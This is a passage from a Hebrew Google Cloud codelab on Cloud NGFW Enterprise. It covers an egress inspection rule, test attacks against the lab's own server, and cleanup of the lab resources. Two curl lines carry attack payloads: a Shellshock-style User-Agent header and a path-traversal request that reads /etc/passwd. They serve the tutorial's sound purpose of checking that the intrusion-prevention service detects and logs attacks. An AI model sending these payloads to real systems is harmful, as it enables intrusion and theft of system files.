gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
חוזרים למכונה הווירטואלית של הלקוח ושולחים מחדש התקפות ברמת חומרה גבוהה לכתובת ה-IP החיצונית של השרת:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
הפלט אמור להיראות כך:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
עוברים לכרטיסייה Threats (איומים) במסוף Cloud כדי לאמת את היומנים (יכול להיות שתצטרכו לרענן כמה פעמים). ההתקפות אמורות היו לזהות ולהירשם ביומן שוב, אבל עכשיו כתובת ה-IP של המקור היא פנימית כי תחילה מופעלת כלל תעבורת נתונים יוצאת:
סוגרים את סשן ה-SSH וממשיכים לקטע הבא כדי לבצע את השלבים לניקוי.
8. שלבי הניקוי
ניקוי רכיבים ארגוניים של Cloud NGFW
הצגת רשימה של השיוך הקיים של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
מוחקים את השיוך של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
הצגת רשימה של נקודות קצה קיימות של Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
מוחקים את נקודת הקצה של Cloud NGFW Enterprise. התהליך עשוי להימשך כ-20 דקות:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
מריצים את הפקודה הבאה כדי לוודא ש-Cloud NGFW Enterprise נמחק:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
מוחקים את הקבוצה 'פרופיל האבטחה' ואת הפרופיל 'מניעת איומים':
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
ניקוי ההגדרות הבסיסיות
אם אתם מעדיפים למחוק את המשאבים הבסיסיים, ממשיכים לשלב הבא.
מגדירים את משתני הסביבה לפי הצורך. מ-Cloud Shell, מוחקים את הרכיבים של Network Load Balancer:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
הסרת המכונות:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
אם התפקידים tagAdmin ו-tagUsers השתנו, אפשר לבצע את השלבים הבאים:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
מסירים את המפתח והערכים של התג:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
מוחקים את המדיניות והשיוך של רשת חומת האש ב-Cloud:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
מוחקים את Cloud Router ואת Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
מחיקת כתובות IP שמורות:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. מעולה!
מזל טוב, השלמת את הקודלה של Cloud NGFW Enterprise לבדיקות מזרחה-מערב ומצפון-דרום.